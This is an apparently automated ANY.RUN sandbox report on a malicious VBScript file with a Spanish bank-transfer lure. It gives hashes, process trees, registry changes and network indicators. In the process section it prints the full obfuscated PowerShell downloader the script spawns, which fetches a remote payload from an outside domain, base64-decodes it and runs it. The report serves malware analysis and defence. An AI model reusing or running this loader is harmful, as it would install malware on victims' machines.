File name:

Transferencia_7336080002017241.vbs

Full analysis: https://app.any.run/tasks/a9958846-a51a-4eaa-9ea5-60e1268af709
Verdict: Malicious activity
Analysis date: October 17, 2023, 13:08:16
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: text/plain
File info: ASCII text, with CRLF line terminators
MD5:

62F582C3F6202A38F8B6D65253A55FB5

SHA1:

6798DD6D676A58408BA7D38B823151FF32B8B2EE

SHA256:

07DEA6BC53E90293D85B0C476E389A48B9C3A6150388A1A43021CC3DBF8B07E7

SSDEEP:

384:hWuYbTY5hDtnFvjfQYeXJ2+r7tR1VhhMsg+XYTFWB4LBIEVh7Bt7x+L:8uYb+zbfA1HrbMsNITFW4F1Bto

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual connection from system programs

      • wscript.exe (PID: 3908)

  • SUSPICIOUS

    • Powershell version downgrade attack

      • powershell.exe (PID: 2544)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 3908)

    • Reads the Internet Settings

      • wscript.exe (PID: 3908)

    • Probably obfuscated PowerShell command line is found

      • wscript.exe (PID: 3908)

  • INFO

    • Reads the computer name

      • wmpnscfg.exe (PID: 4064)

    • Checks supported languages

      • wmpnscfg.exe (PID: 4064)

    • Reads the machine GUID from the registry

      • wmpnscfg.exe (PID: 4064)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
3
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe powershell.exe no specs wmpnscfg.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2544"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Dise9 ([String]$Minervad){$Elect154 = $Minervad.Length;For($Skabelonss=4; $Skabelonss -lt $Elect154-1; $Skabelonss+=5){$Comeknitst=$Comeknitst+$Minervad.Substring( $Skabelonss, 1)};$Comeknitst;}$Rejse=Dise9 'AndehLimetGuldtAppepDetisGael:Domi/ Roa/MoutiKlejhAvisoNikkm EfteChrysisaccAtokoRemamCorpfPresoSkyerMolet Gar. UnlcEfteotelemRefo/PseuaEkabb Fre/SvrmH eftaMagtlCernoAnprxChic.CloddMults CospScen ';$fabacea=$Rejse.split([char]62);$Rejse=$fabacea[0];$Comeknitst01=Dise9 'TottiYngse UdbxChec ';$Udkig = Dise9 'Anem\Resns Unay StysTumowTomloBarbwKoll6 apl4 Fir\kortWJuniiPrevnCentd Beao ZinwColos croPOveroChigwSkibe BrorTaleSModehScoleHjerlPalllLsef\Bremv Mis1List.Fore0Tran\ ReopAudioImpew SkieHonorgynksWronh anleBohelViedlRets.DisteindhxYdere Cir '; &($Comeknitst01) (Dise9 ' Col$asseEGenlgMetraGerml kle2Shop=Maca$KursePlsenDistv Fil:StorwMicriBrygn Glad LdeiFalmrAlbu ') ; & ($Comeknitst01) (Dise9 'Rykk$AflaU KradDaunkAfpriovergVerd= Pul$ disERubeg Smea Jacl pre2Bade+Orni$FotoUSulidAlfak AetiMozagTeks ') ; . ($Comeknitst01) (Dise9 'Vedv$ ManLFstesTribs AlleDekodPrsee SubsFana Ove=Gste Hjlp( Neg(EskigpostwRecomRaffiIdrt LavewRetsiKonvnFilm3Acci2Asia_OverpLsehrLveroDisfcStaaeUnhus HjesSter Pred-MurkF Pau KompPBesjrTrouo PaacSluge SwesOpspsScroIBilydKram= Rhy$Rake{PigePSpanIFactD Exe} Reg)Ring.CiviC SmioIdenmPredmVilhaEgomnCystdPeriLFareiNldenProreMala)Afsk Flot-ManfsBagspTouclStatichiltUdeb Oply[ForscVelvhClaiaDeprrProd] Mas3Hydr4Stvn '); . ($Comeknitst01) (Dise9 'Dors$ AdvuCytonEjacgBaneuMelllMonolLuxe Bogs=Hote Fina$eksaL deksstdlsBenteKonfdMicreTisssReco[Sale$LandLEyessStifsLinkeSleedNonpeabnosSanc. UndcHypoo hylu IntnSkemtSter-Amak2fulm]Foer '); . ($Comeknitst01) (Dise9 'Vite$Spees AcipJinke SkijPithlFlypeSmidnInst=Ssla( UdhTUnhoeSkumsRettt Und-KlosPTootaVrditDyrehSomd Eval$LumiUUnkidTrumk Sesi UndgGene)Mbel Spal-KloaATaarnSatid Cap Bana(konc[ forIProtn Rest HinPAppetHimarGrot]Doks: Sag:KonksUnspiCanozPotpe Cos Skur-HulkeChamqOrig Genn8Gala) Spo ') ;if ($spejlen) {.$Udkig $ungull;} else {;$Comeknitst00=Dise9 ' InfSLrketNdesaLamirLbest For-EgenBLinaiMindtfriksFortTGanzrIndsasnipn OvisPalsfFableanthrOxac Ven-AstrSEneroHaanukontr Swocforke Pic Sal$catsRUnateNuanj sorsStedeKlre muta-PictDHundeNullsProgt NoniContnSaliaDomitclemiStemoTeddn Uds Pato$ HenELovlgintea Stol Dya2 Kik '; . ($Comeknitst01) (Dise9 'Bran$BasuEVistgnephaCryolTher2Fami=Disk$ImpoeApernStudvStve:InteaForkpFortpChild CodaKalotSkriaLsef ') ;&($Comeknitst01) (Dise9 'WataIFlermAfhnpFrugosletrBlyhtTred-gymnMKontoBegidPronuRiddl frae Qin ScoBStamiLunttHermsAcroTPictrdorraUdfrnFrissdilafBalaeKongrUnha ') ;$Egal2=$Egal2+'\Superattr.Zoa'; & ($Comeknitst01) (Dise9 'Pels$SizaARockdRubimIndkiRent= Pro(DagbTPaxieOphasGradtMult-SkriPAfgaaAreftSlrhhMlke Dist$CobwEFlatg SstaBuffl Avi2 Fir)Adje ') ;while (-not $Admi) { & ($Comeknitst01) (Dise9 'unpa$ RegAligrd UdlmUneci Ene=Chif(LetlTMelaeAscesHushtMilk-TwidPRustaSvejtTranhStan jomf$StdeEAnkeg AdfaBabylChey2Surp)Tret ') ; . ($Comeknitst01) $Comeknitst00; & ($Comeknitst01) (Dise9 'DommS Must AmpaShelrAngit Pre- GypS Dial Lacerouge Takp Taa Gea5Gyde ');$Rejse=$fabacea[$Proclamat240++%$fabacea.count];} . ($Comeknitst01) (Dise9 'Efte$StriDCoseiJagusProgeUbef magn=Sutt IdotGMysteeryttBrev- TndCBomboBrndnErmatReceeRecknRingtSkrt Plus$ OblE CargFalsa FralTrim2Poch ');& ($Comeknitst01) (Dise9 ' Gas$ StoBDesalVisid embn HyriTrojnKaiag Ref Neur=Spir Scam[cretSPallySpios montMisseamatmCeti.HaanCInfooEyefnEmbrvUdskeZorarbaakt Ove] Ble: Byg:YdreFUtoprLeadoAlkamLivsBPitlaAllisKirkeFleg6Sinf4 TraSLasttSoprrKindiUnfenLandgOrga(Udsp$AandD ResiHedesGrileJord)Acha '); & ($Comeknitst01) (Dise9 'Kont$BescCBuruo MelmWivaeLatekKronnDowniBefotTarts BgetLeds2 Sna Alto=Para Fast[IntwSOpgaySkovsRumftBambeMaccmDjve.BrasT FlaeIntexdykktYeec.ConsERaven CarcRrbloUbeldSokkiRenkn Eleg Psa]Supe:Slim:UdtaAPterS MenCSekrIKjerIVirk. TriGGruneUnnotMaskSKatetSkiprBldeiForfnAgrog Brd(Ceil$PietBblkslRosedNyden SyniUltrn vikgXero)Spne ');.($Comeknitst01) (Dise9 ' Hus$biplGConsaSlublAttea ProkpaatsBackeTara=Span$ NomCSvejo Syvm AfkeJewekDrejnValuiPenutOutjsForatRadi2Homo. Pros CouuRotab BumsFeritHomorAnsti Oven FaggLaba(Laes2urba6Dusi3 Mar0Aarb8Hera4Eosi,Baan2Prop2 aff9 Pri3 Fli6Mezu)Util '); . ($Comeknitst01) $Galakse;}"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3908"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Transferencia_7336080002017241.vbs"C:\Windows\System32\wscript.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\wscript.exe
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
4064"C:\Program Files\Windows Media Player\wmpnscfg.exe"C:\Program Files\Windows Media Player\wmpnscfg.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Media Player Network Sharing Service Configuration Application
Exit code:
0
Version:
12.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\program files\windows media player\wmpnscfg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\ole32.dll
Total events
5 875
Read events
5 801
Write events
74
Delete events
0

Modification events

(PID) Process:(3908) wscript.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\178\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3908) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3908) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3908) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3908) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2544) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\178\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
Executable files
0
Suspicious files
7
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
2544powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N0DYA2IZX4IDY9WEISL9.tempbinary
MD5:CAEA3B1F09925DA2A47C2B8B890AB890
SHA256:66F29B00CBB7B1DED878F96AAC6F52907C088DE194A1FD0CD6E1FF1916047549
3908wscript.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506compressed
MD5:F3441B8572AAE8801C04F3060B550443
SHA256:6720349E7D82EE0A8E73920D3C2B7CB2912D9FCF2EDB6FD98F2F12820158B0BF
3908wscript.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506binary
MD5:0CB27812E1810FA9DE4B5D9806168EFE
SHA256:B7705B5BD18EF50FCBDAC07CF81E180E44B609DDE841D6389C05029A0B52BAF5
2544powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1ec4b5.TMPbinary
MD5:CAEA3B1F09925DA2A47C2B8B890AB890
SHA256:66F29B00CBB7B1DED878F96AAC6F52907C088DE194A1FD0CD6E1FF1916047549
2544powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:CAEA3B1F09925DA2A47C2B8B890AB890
SHA256:66F29B00CBB7B1DED878F96AAC6F52907C088DE194A1FD0CD6E1FF1916047549
3908wscript.exeC:\Users\admin\AppData\Local\Temp\TarBC1B.tmpbinary
MD5:9441737383D21192400ECA82FDA910EC
SHA256:BC3A6E84E41FAEB57E7C21AA3B60C2A64777107009727C5B7C0ED8FE658909E5
3908wscript.exeC:\Users\admin\AppData\Local\Temp\CabBC1A.tmpcompressed
MD5:F3441B8572AAE8801C04F3060B550443
SHA256:6720349E7D82EE0A8E73920D3C2B7CB2912D9FCF2EDB6FD98F2F12820158B0BF
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
63
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3908
wscript.exe
GET
200
67.27.159.254:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?e79a445b76014c77
US
compressed
61.6 Kb
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
3908
wscript.exe
67.27.159.254:80
ctldl.windowsupdate.com
LEVEL3
US
unknown
2656
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
864
svchost.exe
162.0.235.86:443
ihomescomfort.com
NAMECHEAP-NET
US
unknown
4
System
192.168.100.255:138
—
—
—
whitelisted

DNS requests

Domain
IP
Reputation
ctldl.windowsupdate.com
  • 67.27.159.254
  • 67.27.157.126
  • 67.27.234.126
  • 67.26.137.254
  • 8.253.95.120
whitelisted
ihomescomfort.com
  • 162.0.235.86
unknown
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Transferencia_7336080002017241.vbs